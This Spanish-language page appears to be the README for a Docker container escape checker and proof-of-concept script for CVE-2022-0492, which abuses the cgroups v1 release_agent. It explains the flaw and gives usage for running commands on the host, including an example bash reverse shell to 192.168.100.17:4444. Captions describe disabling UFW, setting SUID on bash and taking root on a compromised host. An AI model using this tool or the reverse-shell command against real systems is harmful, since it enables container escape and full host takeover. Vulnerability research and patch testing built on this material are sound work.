
Comprobador de escape de Docker y PoC a través de CAP_SYS_ADMIN y de espacios de nombres de usuario (CVE-2022-0492)
Explotar la vulnerabilidad requiere que el atacante tenga acceso a un contenedor Docker que se ejecute en un sistema vulnerable. Una vez explotada, el atacante puede escapar del contenedor y obtener un control total sobre el sistema host.
Se encontró una vulnerabilidad en la función cgroup_release_agent_write del kernel de Linux en el archivo kernel/cgroup/cgroup-v1.c. Esta falla, bajo ciertas circunstancias, permite el uso de la función release_agent de cgroups v1 para escalar privilegios y eludir el aislamiento del namespace de forma inesperada.
Dicho de forma más simple, cgroups v1 tiene una función llamada release_agent que ejecuta un programa cuando un proceso en el cgroup termina. Si notify_on_release está habilitado, el kernel ejecuta el binario release_agent como root. Al editar el archivo release_agent, un atacante puede ejecutar su propio binario con privilegios elevados, tomando el control del sistema. Sin embargo, el archivo release_agent pertenece a root, por lo que solo un usuario con acceso root puede modificarlo.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Ejecute este script en un Docker para comprobar la vulnerabilidad o explotarla. (º___\/{
[>] Uso:
sh CVE-2022-0492.sh --checker Verificar si el sistema es vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Ejecutar un comando en la máquina host.
sh CVE-2022-0492.sh -h|--help Mostrar el panel de ayuda.
[>] Ejemplo:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
Usuario root en la máquina host comprometida deshabilitando UFW y luego enviando una reverse shell.

Usuario root en la máquina host comprometida estableciendo SUID a bash, también envió una reverse shell.
